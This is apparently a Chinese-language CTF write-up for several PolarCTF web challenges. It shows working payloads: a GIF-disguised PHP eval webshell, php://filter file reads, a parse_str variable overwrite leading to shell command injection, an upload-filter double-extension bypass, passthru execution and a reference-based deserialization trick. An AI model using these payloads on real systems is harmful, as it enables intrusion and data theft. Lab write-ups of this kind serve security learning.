web
ezupload
文件上传,随便穿一个东西发现需要传gif,改一个
1 2 3
| Content-Type: image/gif
GIF89A<?php eval($_POST['a']);?>
|
即可
自由的文件上传系统
文件上传+文件包含
随意传个文件,包含一下即可
代码审计1
给了源码
1 2 3 4 5 6 7 8 9 10 11
| <?php
highlight_file(__FILE__); include('flag.php'); $sys = $_GET['sys']; if (preg_match("|flag|", $xsx)) { die("flag is no here!"); } else { $xsx = $_GET['xsx']; echo new $sys($xsx); }
|
当我们看到new $a($b)格式的字样。说明这是一道php原生类利用的题目。
这道题是文件读取类:SplFileObject。
‘SplFileObject中的toString0()魔术方法只有在尝试将对象转换为字符串时才会被自动调用 通常,这是在使用
echo或
print函数时发生的,或者在将对象与字符串连接时发生。但是, SplFileObject不是一个直接支持
__toString()`的类。
SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若
中没有给出foreach函数的话,就要用伪协议读取文件的内容。
例如:?a=SplFileObject&b=php:/filter/read=convert.base64-encode/resource=flag
http://46fd8555-f05c-43c4-bffa-6124175427dd.www.polarctf.com:8090/ ?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php
干正则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php error_reporting(0); if (empty($_GET['id'])) { show_source(__FILE__); die(); } else { include 'flag.php'; $a = "www.baidu.com"; $result = ""; $id = $_GET['id']; @parse_str($id); echo $a[0]; if ($a[0] == 'www.polarctf.com') { $ip = $_GET['cmd']; if (preg_match('/flag\.php/', $ip)) { die("don't show flag!!!"); }
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip); if ($result) { echo "<pre>{$result}</pre>"; } } else { exit('其实很简单!'); } }
|
给了源码,要传参id,id经过parse_str处理
parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
语法:parse_str(string,array)
也就是说,如果没有array,那么我们传a[0]=www.polarctf.com
,那么也就会a[0]是个变量了,这样就符合条件了,
cmd传参就简单了,这里把a[0]的给拼接了,这里直接用|就可以了,这样|后面的命令就可以执行了
http://e9c19481-2e55-4e77-9d73-5bf35f99eaeb.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=asd;cat fl*
查看源码即可。
ezphp
robots有个file文件,任意文件读取,http://10eb2514-4c9d-4aaa-bfbb-81c87b1b7667.www.polarctf.com:8090/file/file.php?filename=php://filter/convert.base64-encode/resource=../uploads/upload.php
lfi读一下upload,白名单。那么配合文件包含直接图片马即可
http://10eb2514-4c9d-4aaa-bfbb-81c87b1b7667.www.polarctf.com:8090/file/file.php?filename=../uploads/images/asdasd.png
upload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
右键源代码给了源码,替换列表中后缀,双写绕过即可,asdasd.pphphp
cool
http://0652266e-ee52-43a0-b00b-d0a54e66a193.www.polarctf.com:8090/?a=passthru('cat fla*');
phpurl
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php if("xxs"===$_GET[sys]) { echo("<p>Not a good idea!</p>"); exit(); }
$_GET[sys] = urldecode($_GET[sys]); if($_GET[sys] == "xxs") { echo "<p>Welcome to polar LABS!</p>"; echo "<p>Flag: XXXXXXX </p>"; } ?>
|
http://809e69b5-b363-456e-a92e-7f6388b058ca.www.polarctf.com:8090/index.php?sys=%25%37%38%25%37%38%25%37%33
默认传参的时候传递的值会解码一次,而题目又解码了一次,所以将xxs编码两次
你的马呢?
图片马+文件包含
随机值
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php include "flag.php"; class Index{ private $Polar1; private $Polar2; protected $Night; protected $Light;
function getflag($flag){ $Polar2 = rand(0,100); if($this->Polar1 === $this->Polar2){ $Light = rand(0,100); if($this->Night === $this->Light){ echo $flag; } } else{ echo "Your wrong!!!"; } } } if(isset($_GET['sys'])){ $a = unserialize($_GET['sys']); $a->getflag($flag); } else{ highlight_file("index.php"); } ?>
|
这里Polar1等于Polar2 Night=Light 随机100,因为每次请求值都是会变得。所以并不是100*100的可能性,而是比这可能性小的多
所以还是引用变量覆盖,这里要把属性设置为public。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| class Index{ public $Polar1; public $Polar2; public $Night; public $Light;
function getflag($flag){ $Polar2 = rand(0,100); echo $Polar2; echo "-----"; echo '<br>'; if($this->Polar1 === $this->Polar2){ $Light = rand(0,100); echo $Light; if($this->Night === $this->Light){ echo $flag; } } else{ echo "Your wrong!!!"; } } } if(isset($_GET['sys'])){ $a = unserialize($_GET['sys']); $a->getflag($flag); } else{ highlight_file("suiji.php"); }
echo "----------------"; $a = new Index(); $a->Polar1=&$a->Polar2; $a->Night=&$a->Light; echo urlencode(serialize($a));
|